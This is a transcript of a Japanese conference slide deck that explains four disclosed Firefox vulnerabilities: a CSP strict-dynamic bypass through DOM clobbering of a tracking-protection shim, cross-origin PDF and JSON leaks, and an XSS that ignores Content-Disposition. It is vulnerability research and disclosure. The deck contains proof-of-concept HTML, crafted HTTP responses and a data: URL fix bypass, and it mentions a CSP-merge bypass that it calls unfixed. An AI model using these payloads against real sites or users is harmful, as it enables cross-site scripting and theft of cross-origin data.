ブラウザのレガシー・独自機能を愛でる-Firefoxの脆弱性4選- / Browser Crash Club #1

Browser Crash Club #1( https://browsercrashclub.connpass.com/event/350203/ )の発表資料です。

Transcript

1. ブラウザのレガシー・ 独自機能を愛でる ―Firefoxの脆弱性4選― 2025/4/14 Browser Crash Club #1 Masato Kinugawa
2. Cure53で脆弱性診断 XSS・Webが好き 気まぐれでBug Bounty Masato Kinugawa
3. 自分が脆弱性を探す際に好んで注目する機能 • 独自機能 • 標準化されていないもの • レガシー機能 • 特に、あまり使われていないもの こういう機能は総じてイケてる！(ハンター視点で)
4. 今日の話 CVE-2024-7524: SmartBlock機能を介したCSP strict-dynamicのバイパス CVE-2024-9393: multipart/x-mixed-replace応答を通じたPDFコンテンツのクロスオリジン漏洩 CVE-2024-9394: multipart/x-mixed-replace応答を通じたJSONコンテンツのクロスオリジン漏洩 CVE-2024-10461: multipart/x-mixed-replace応答でContent-Dispositionが無視されることによるXSS レガシー機能： 独自機能： それらに注目して見つけたFirefoxの4つの脆弱性について話します！
5. 独自機能を愛でる CVE-2024-7524: SmartBlock機能を介したCSP strict-dynamicのバイパス
6. なぜ独自機能に注目するか • 標準化されている機能と比べ人の目に触れられていない • 必然的に間違いが見過ごされやすい
7. 独自機能に見つけたバグ Firefox adds web-compatibility shims in place of some tracking scripts blocked by Enhanced Tracking Protection. On a site protected by Content Security Policy in "strict-dynamic" mode, an attacker able to inject an HTML element could have used a DOM Clobbering attack on some of the shims and achieved XSS, bypassing the CSP strict-dynamic protection. CVE-2024-7524: CSP strict-dynamic bypass using web-compatibility shims https://www.mozilla.org/en-US/security/advisories/mfsa2024-33/#CVE-2024-7524
8. 注目した独自機能: SmartBlock • トラッキング防止機能 • トラッキングスクリプトをブロックしつつ、元のスクリプトとよく 似たスクリプト(shim)で応答を置き換えてページの破損を防ぐ • その実行に依存するコードが正常に動作するようにするため <script src="//ssl.google-analytics.com/ga.js"></script> 例：こんなGoogle Analyticsのロードがあるとき…
9. 例：Google Analyticsのブロック (無し)
10. 例：Google Analyticsのブロック (有り) 無害なshimに 置き換わっている
11. 例：Google Analyticsのブロック (有り) 無害なshimに 置き換わっている なんかでてきてる
12. Web Compatibility Interventions • 置き換えはこの名前のWebExtensionsで実装 • はじめからFirefoxに載ってる • Firefoxで動かないサイトの暫定的な互換性の修正などもこの拡 張が行う • about:compat で対象を確認できる
13. 最初の例の
14. SmartBlockを使うには • 次のいずれかで有効 • プライベートブラウジング • Enhanced Tracking Protection(ETP)設定がStrict
15. 悪用のアイデア • ページに勝手に変更を加えるのはリスク • 置き換えたJSに脆弱性があるかもしれない • XSS？ • Prototype Pollution？ SmartBlockのshimを 1つ1つ読んでいくと興味深いものが
16. Facebook SDKのshim const originalUrl = document.currentScript.src; // omitted async function allowFacebookSDK(postInitCallback) { // omitted const script = document.createElement("script"); script.src = originalUrl; // omitted document.head.appendChild(script); return allowingFacebookPromise; } https://searchfox.org/mozilla-central/rev/5756c5a3dea4f2896cdb3c8bb15d0ced5e2bf690/browser/extensions/webcompat/shims/facebook-sdk.js 以下は https://connect.facebook.net/en_US/sdk.js のshimの一部：
17. const originalUrl = document.currentScript.src; // omitted async function allowFacebookSDK(postInitCallback) { // omitted const script = document.createElement("script"); script.src = originalUrl; // omitted document.head.appendChild(script); return allowingFacebookPromise; } ❶ まず現在処理中のスクリプトのURL(この場合Facebook SDKのオリジナルのURL)を変数へ ❷ ログインなどのSDK呼び出し後に呼ばれる allowFacebookSDK関数で その変数をscriptのsrcにセットしロード 問題なさそう？
18. document.foo // <img> DOM Clobbering • window.* や document.* に対しHTMLを通じて参照を作成し 予期しないアクセスを発生させる手法 <img name=foo src=https://test/> document.* に画像への参照を作成する正常な例：
19. DOM Clobbering // inside test.js document.currentScript <img name=currentScript src=https://test/> <script src=test.js></script> じゃあ、このnameに currentScript が指定されたら…？
20. DOM Clobbering // inside test.js document.currentScript <img name=currentScript src=https://test/> <script src=test.js></script> じゃあ、このnameに currentScript が指定されたら…？ 現在処理中のスクリプト…ではなく画像の方を参照してしまう
21. const originalUrl = document.currentScript.src; // omitted async function allowFacebookSDK(postInitCallback) { // omitted const script = document.createElement("script"); script.src = originalUrl; // omitted document.head.appendChild(script); return allowingFacebookPromise; } currentScriptというnameがついた画像を参照するかもしれない？ その画像の src に指定されたURLを スクリプトとして読み込むかもしれない？ だとしてなにか問題があるか？
22. CSP strict-dynamic Content-Security-Policy: script-src 'strict-dynamic' 'nonce-random'; base-uri 'none'; Content Security Policyのscript-srcディレクティブで使われる値
23. CSP strict-dynamic • 前頁のCSPでは以下のいずれかを満たす<script>は実行される • createElement()で作成されたもの • nonce属性がCSPヘッダで指定されたものと一致するもの script = document.createElement('script'); script.src = 'https://arbitrary-host/test.js'; document.body.appendChild(script); <script nonce=random>alert(123)</script> document.write('<script>alert(123)<\/script>');
24. CSP strict-dynamic をバイパスできるケース • nonceを漏らせる場合 • nonceが固定・推測可能 • ページ中から何らかの方法で取得して設定できる場合など • 既存のcreateElement()を呼ぶ処理に介入できる場合 • ユーザー入力が createElement('script') のsrcに設定されるケース そんな都合が良いことあるわけ……あれ？
25. const originalUrl = document.currentScript.src; // omitted async function allowFacebookSDK(postInitCallback) { // omitted const script = document.createElement("script"); script.src = originalUrl; // omitted document.head.appendChild(script); return allowingFacebookPromise; } ❶ 攻撃者が挿入したHTMLからcurrentScriptというnameがついた画像を参照させる ❷ その画像の src に指定されたURLを スクリプトとして読み込む createElement() に介入できている！ = このロードはCSP strict-dynamicが使われるページで誰にも邪魔されない
26. <head> <meta http-equiv="Content-Security-Policy" content="script-src 'strict-dynamic' 'nonce-random'"> </head> <body> <!-- XSS START--> XSS<img name="currentScript" src="data:,alert(document.domain)">XSS <!-- XSS END --> <script nonce="random"> // ここにSDKの FB.login() を呼び出すコードが必要 // 呼ばれると allowFacebookSDK() へ到達 </script> <script async defer nonce="random" crossorigin="anonymous" src="https://connect.facebook.net/en_US/sdk.js"></script> PoC (CSP strict-dynamic Bypass)
27. この問題の影響 • 以下を満たす必要があるためかなり限定的 • Strict ETPかプライベートブラウジングでFirefoxを使っている • 攻撃者はHTML(少なくとも任意のname付き画像)を書ける • strict-dynamicを使っている • Facebook SDKがロードされている • FB.login() が呼ばれるなど allowFacebookSDK() に到達できる • 単にCSPバイパスを伴わないXSSに使える場合も考えられる • HTMLサニタイザーが任意のname付きimgを許可する状況など
28. const originalUrl = (() => { const src = document.currentScript?.src; try { const { protocol, hostname, pathname, href } = new URL(src); if ( (protocol === "http:" || protocol === "https:") && hostname === "connect.facebook.net" && (pathname.endsWith("/sdk.js") || pathname.endsWith("/all.js")) ) { return href; } if (href.includes("all.js")) { // Legacy SDK. return "https://connect.facebook.net/en_US/all.js"; } } catch (_) {} return "https://connect.facebook.net/en_US/sdk.js"; })(); 修正 currentScript.srcがFacebookの URLかどうかの検証が追加
29. おまけ1: currentScriptの上書きについて • document.currentScript のDOM Clobberingによる上書きを 禁止する議論が進行中 • https://github.com/whatwg/html/issues/10687 • いずれ仕様レベルで対策が入るかも
30. const originalUrl = (() => { const src = document.currentScript?.src; try { const { protocol, hostname, pathname, href } = new URL(src); if ( (protocol === "http:" || protocol === "https:") && hostname === "connect.facebook.net" && (pathname.endsWith("/sdk.js") || pathname.endsWith("/all.js")) ) { return href; } if (href.includes("all.js")) { // Legacy SDK. return "https://connect.facebook.net/en_US/all.js"; } } catch (_) {} return "https://connect.facebook.net/en_US/sdk.js"; })(); おまけ2: 最初の修正のバイパス 最初ここが無かった
31. おまけ2: 最初の修正のバイパス hash: "" host: "connect.facebook.net"​ hostname: "connect.facebook.net"​ href: "data://connect.facebook.net/sdk.js?,alert(document.domain)"​ origin: "null"​ password: ""​ pathname: "/sdk.js"​ port: ""​ protocol: "data:"​ search: "?,alert(document.domain)"​ username: "" pathname.endsWith("/sdk.js") hostname === "connect.facebook.net" new URL("data://connect.facebook.net/sdk.js?,alert(document.domain)") 細工したdata: URLを使うとチェックをパスしてJSが実行された：
32. レガシー機能を愛でる CVE-2024-9393: multipart/x-mixed-replace応答を通じたPDFコンテンツのクロスオリジン漏洩 CVE-2024-9394: multipart/x-mixed-replace応答を通じたJSONコンテンツのクロスオリジン漏洩 CVE-2024-10461: multipart/x-mixed-replace応答でContent-Dispositionが無視されることによるXSS
33. なぜレガシー機能に注目するか • 洗練されていない古い機能には相応の穴がある • 新しい機能と組み合わせて想定していない問題が発生したりも • 攻撃者は使えるものは使う
34. 注目したレガシー機能: multipart/x-mixed-replace • Content-Typeレスポンスヘッダで解釈される値 HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] foo --BOUNDARY Content-Type: text/html <script>alert(document.domain)</script> --BOUNDARY-- 以下でHTMLページが表示され<script> が実行される：
35. どうなってるの？ HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] foo --BOUNDARY Content-Type: text/html <script>alert(document.domain)</script> --BOUNDARY-- オリジナルの応答の response body
36. どうなってるの？ HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] foo --BOUNDARY Content-Type: text/html <script>alert(document.domain)</script> --BOUNDARY-- この文字列で応答が パートに区切られる
37. どうなってるの？ HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] foo --BOUNDARY Content-Type: text/html <script>alert(document.domain)</script> --BOUNDARY-- レスポンスヘッダ (パートの)
38. どうなってるの？ HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] foo --BOUNDARY Content-Type: text/html <script>alert(document.domain)</script> --BOUNDARY-- レスポンスボディ (パートの)
39. HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] --BOUNDARY Content-Type: image/jpeg Content-Length: 3333 (image data #1) --BOUNDARY Content-Type: image/jpeg Content-Length: 3345 (image data #2) --BOUNDARY Content-Type: image/jpeg Content-Length: 3325 (image data #3) --BOUNDARY-- パートは複数にもなる サーバーがパート毎に間隔をあけて 応答を返すようにすると…
40. HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] --BOUNDARY Content-Type: image/jpeg Content-Length: 3333 (image data #1) --BOUNDARY Content-Type: image/jpeg Content-Length: 3345 (image data #2) --BOUNDARY Content-Type: image/jpeg Content-Length: 3325 (image data #3) --BOUNDARY-- ブラウザの表示
41. HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] --BOUNDARY Content-Type: image/jpeg Content-Length: 3333 (image data #1) --BOUNDARY Content-Type: image/jpeg Content-Length: 3345 (image data #2) --BOUNDARY Content-Type: image/jpeg Content-Length: 3325 (image data #3) --BOUNDARY-- ブラウザの表示
42. HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] --BOUNDARY Content-Type: image/jpeg Content-Length: 3333 (image data #1) --BOUNDARY Content-Type: image/jpeg Content-Length: 3345 (image data #2) --BOUNDARY Content-Type: image/jpeg Content-Length: 3325 (image data #3) --BOUNDARY-- ブラウザの表示
43. 表示がパート毎に置き換わっていく！！
44. 使用用途 • 現在もライブカメラなどで一定数使われている模様 • 画像パートを一定間隔で返して動画のように配信 • それ以外ではほぼ使われていない印象 • 昔Bugzillaが検索のロード中に使っていたのを見たっきり
45. ブラウザのサポート • Firefox・Safari： あらゆるコンテンツをサポート • Chrome： 画像のみをサポート
46. あふれ出る疑問 • レスポンスヘッダ • オリジナルとパートにあるものどっちが優先？ • 後から送られたパートにあるもので上書きされる？ • パートでも全てのヘッダーがサポートされている？ • どんなContent-Typeでもサポートしている？ • Chromeの画像のみサポートってSVGも含まれる？ • 応答の置き換え • 中身が変わる時何が起きている？ • 履歴は？キャッシュは？ • これをいろんなHTMLタグからロードしても中身が換わる？ • その他 • data: URLからロードできる？ 疑問を1つ1つ解決していくと脆弱性が見つかった！
47. レガシー機能を愛でる CVE-2024-9393: multipart/x-mixed-replace応答を通じたPDFコンテンツのクロスオリジン漏洩 CVE-2024-9394: multipart/x-mixed-replace応答を通じたJSONコンテンツのクロスオリジン漏洩 CVE-2024-10461: multipart/x-mixed-replace応答でContent-Dispositionが無視されることによるXSS
48. Content-Disposition • ダウンロードを制御できるレスポンスヘッダ • 以下でダウンロードを強制 (<script>は実行されない) HTTP/1.1 200 OK Content-Type: text/html Content-Disposition: attachment; filename="test.html" [...] <script>alert(/XSS/)</script>
49. よく使われる場面 • ユーザーがアップロードしたコンテンツのホスト時 • 常にダウンロードを強制してXSSを防止 これさえつければどんなファイルに対しても XSSは起きないはず…？
50. x-mixed-replace + attachment = ??? HTTP/1.1 200 OK Content-Disposition: attachment Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] foo --BOUNDARY Content-Type: text/html <script>alert(document.domain)</script> --BOUNDARY-- 直接開くと…？
51. x-mixed-replace + attachment = XSS!! HTTP/1.1 200 OK Content-Disposition: attachment Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] foo --BOUNDARY Content-Type: text/html <script>alert(document.domain)</script> --BOUNDARY-- OK example.com attachment無視！！
52. XSSの悪用条件 (attachmentが付く応答で) ・Content-Typeレスポンスヘッダを指定できる ・レスポンスボディをコントロールできる POST https://example.com/upload HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary [...] ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="test" Content-Type: foo/bar [...] ------WebKitFormBoundary-- どちらもファイルアップロード機能からよく指定できる： そのまま応答に使われがち
53. 修正 • ダウンロードがトリガーされるようになった
54. レガシー機能を愛でる CVE-2024-9393: multipart/x-mixed-replace応答を通じたPDFコンテンツのクロスオリジン漏洩 CVE-2024-9394: multipart/x-mixed-replace応答を通じたJSONコンテンツのクロスオリジン漏洩 CVE-2024-10461: multipart/x-mixed-replace応答でContent-Dispositionが無視されることによるXSS
55. 応答の置き換えで遊ぶ • FirefoxはほとんどのContent-Typeを解釈した • PDFも表示された • PDFの応答を返した後に別の応答を返すと何か変なことが起き るかもしれない、とふと思った こう思ったのは
56. PDFは特殊なオリジンで実行されている 応答の置き換えで何か混乱が起きるのでは？
57. HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] --BOUNDARY Content-Type: application/pdf aaa --BOUNDARY Content-Type: text/html <script>alert(window.origin)</script> --BOUNDARY-- PDF→HTML と返す応答で 実験してみる
58. HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] --BOUNDARY Content-Type: application/pdf aaa --BOUNDARY Content-Type: text/html <script>alert(window.origin)</script> --BOUNDARY-- まずはPDFを返して… ブラウザの表示
59. HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] --BOUNDARY Content-Type: application/pdf aaa --BOUNDARY Content-Type: text/html <script>alert(window.origin)</script> --BOUNDARY-- ブラウザの表示 次にHTMLを返す… さあ、alertは何を言う？
60. HTTP/1.1 200 OK Content-Type: multipart/x-mixed-replace;boundary=BOUNDARY [...] --BOUNDARY Content-Type: application/pdf aaa --BOUNDARY Content-Type: text/html <script>alert(window.origin)</script> --BOUNDARY-- ブラウザの表示 OK resource://pdf.js ！？
61. • 特権的なAPI、ローカルファイルなどにはアクセスできず • ただPDFは全てこのオリジンに置かれるなら、本来他のオリジ ンにあるはずのPDFにアクセスできてしまったりするかも？ newWindow = window.open(pdfURL, "_blank"); setTimeout(function(){ console.log(newWindow.viewerContainer.textContent)// PDF data?? },2000); resource://pdf.js 上で何ができるか 色々なオリジン間で試してみた結果
62. 実験結果(Desktop版Firefox) https://example.test/mixed (細工したx-mixed-replace応答のページ) https://sub.example.test/a.pdf (Cross-Origin Same-Site) https://google.test/a.pdf (Cross-Site) error ✘ Cross-Origin Same-SiteのPDFの読み取りができた！(=部分的なSOPバイパス) Android版は異なる結果に アクセス可
63. 実験結果(Android版Firefox) https://example.test/mixed (細工したx-mixed-replace応答のページ) https://sub.example.test/a.pdf (Cross-Origin Same-Site) https://google.test/a.pdf (Cross-Site) アクセス可 アクセス可(!?) Cross-SiteにあるPDFすら読み取りができた！！
64. なぜ違いが生じた？ • この違いはFissionと呼ばれるFirefox版のSite Isolationの有無 によるものらしい • Android版FirefoxはSite Isolationがない • デスクトップ版でもFissionを無効にするとCross-Site PDFアク セスが可能になった • about:config から fission.webContentIsolationStrategy を0で無効
65. レガシー機能を愛でる CVE-2024-9393: multipart/x-mixed-replace応答を通じたPDFコンテンツのクロスオリジン漏洩 CVE-2024-9394: multipart/x-mixed-replace応答を通じたJSONコンテンツのクロスオリジン漏洩 CVE-2024-10461: multipart/x-mixed-replace応答でContent-Dispositionが無視されることによるXSS
66. JSONにもほぼ同様のバグがあった JSONもviewerのために特殊なオリジンで実行される JSON→HTMLと切り替えると、Cross-Origin Same-SiteのJSONにアクセスできた (ただしAndroidはJSON viewerがないので影響無し)
67. 修正 • PDF/JSONはx-mixed-replaceから表示されないようになった
68. その他のバグ事例: CSPバイパス(by @ankursundara) https://x.com/ankursundara/status/1723410507389129092 https://bugzilla.mozilla.org/show_bug.cgi?id=1864434 HTTP/1.1 200 OK Content-Security-Policy: default-src 'none' Content-Length: 137 Connection: Close Content-Type: multipart/x-mixed-replace; boundary=MYBOUNDARY foo --MYBOUNDARY Content-Type: text/html Content-Security-Policy: script-src 'unsafe-inline' lol<script>alert(1)</script> --MYBOUNDARY-- bar ※まだ未修正 厳密なCSPがオリジナルに存在 この指定がマージされる (※上書きではない) 応答に適用されるCSP： default-src 'none'; script-src 'unsafe-inline'
69. 〆 4つの脆弱性を見ていきました！ CVE-2024-7524: SmartBlock機能を介したCSP strict-dynamicのバイパス CVE-2024-9393: multipart/x-mixed-replace応答を通じたPDFコンテンツのクロスオリジン漏洩 CVE-2024-9394: multipart/x-mixed-replace応答を通じたJSONコンテンツのクロスオリジン漏洩 CVE-2024-10461: multipart/x-mixed-replace応答でContent-Dispositionが無視されることによるXSS 独自機能・レガシー機能に注目して脆弱性を探してみてね！
70. Thanks! 𝕏 @kinugawamasato @masatokinugawa.bsky.social